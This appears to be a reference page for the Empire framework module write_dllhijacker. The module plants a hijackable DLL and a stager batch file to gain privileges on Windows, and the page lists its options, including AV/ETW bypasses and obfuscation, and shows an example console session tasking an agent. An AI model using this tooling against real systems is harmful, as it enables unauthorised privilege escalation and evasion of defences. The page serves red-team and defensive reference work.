Write-HijackDll - Empire Module
This page contains detailed information about how to use the powershell/privesc/powerup/write_dllhijacker Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Write-HijackDll
Module: powershell/privesc/powerup/write_dllhijacker
Source code [1]: empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml
Source code [2]: empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
MITRE ATT&CK:
T1087, T1038, T1031, T1034, T1057, T1012, S0194
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The write_dllhijacker module writes out a hijackable .dll to the specified path along with a stager.bat that's called by the .dll. wlbsctrl.dll works well for Windows 7. The machine will need to be restarted for the privesc to work.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the write_dllhijacker module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the write_dllhijacker module:
Agent
Agent to run module on.
DllPath
The output path for the hijackable .dll.
Listener
Listener to use.
Additional Module Options
This is a list of additional options that are supported by the write_dllhijacker module:
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String.
Suggested values: Out-String, ConvertTo-Json, ConvertTo-Csv, ConvertTo-Html, ConvertTo-Xml.
Proxy
Proxy to use for request (default, none, or other).
Default value: default.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.
Write_dllhijacker Example Usage
Here's an example of how to use the write_dllhijacker module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/powerup/write_dllhijacker
Author leechristensen (@tifkin_)
@harmj0y
Background True
Comments https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
Description Writes out a hijackable .dll to the specified path along with a
stager.bat that's called by the .dll. wlbsctrl.dll works well for
Windows 7. The machine will need to be restarted for the privesc to
work.
Language powershell
Name powershell/privesc/powerup/write_dllhijacker
NeedsAdmin False
OpsecSafe False
Software http://attack.mitre.org/software/S0194
Techniques http://attack.mitre.org/techniques/T1087
http://attack.mitre.org/techniques/T1038
http://attack.mitre.org/techniques/T1031
http://attack.mitre.org/techniques/T1034
http://attack.mitre.org/techniques/T1057
http://attack.mitre.org/techniques/T1012
,Record Options----,--------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------------|--------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|--------------------|----------|-------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|--------------------|----------|-------------------------------------|
| DllPath | | True | The output path for the hijackable |
| | | | .dll. |
|------------------|--------------------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------------|--------------------|----------|-------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Html", |
| | | | "ConvertTo-Xml"). |
|------------------|--------------------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------------|--------------------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------------|--------------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------------'--------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/privesc/powerup/write_dllhijacker) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/powerup/write_dllhijacker) > set DllPath value
[*] Set DllPath to value
(Empire: usemodule/powershell/privesc/powerup/write_dllhijacker) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/privesc/powerup/write_dllhijacker) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
- leechristensen (@tifkin_)
- @harmj0y
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py
- https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
- http://attack.mitre.org/software/S0194
- http://attack.mitre.org/techniques/T1087
- http://attack.mitre.org/techniques/T1038
- http://attack.mitre.org/techniques/T1031
- http://attack.mitre.org/techniques/T1034
- http://attack.mitre.org/techniques/T1057
- http://attack.mitre.org/techniques/T1012
See Also
Check also the following modules related to this module:
- powershell/privesc/powerup/service_exe_useradd
- powershell/privesc/powerup/service_stager
- powershell/privesc/powerup/service_exe_restore
- powershell/privesc/powerup/service_exe_stager
- powershell/privesc/powerup/find_dllhijack
- powershell/privesc/powerup/service_useradd
- powershell/privesc/powerup/allchecks
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
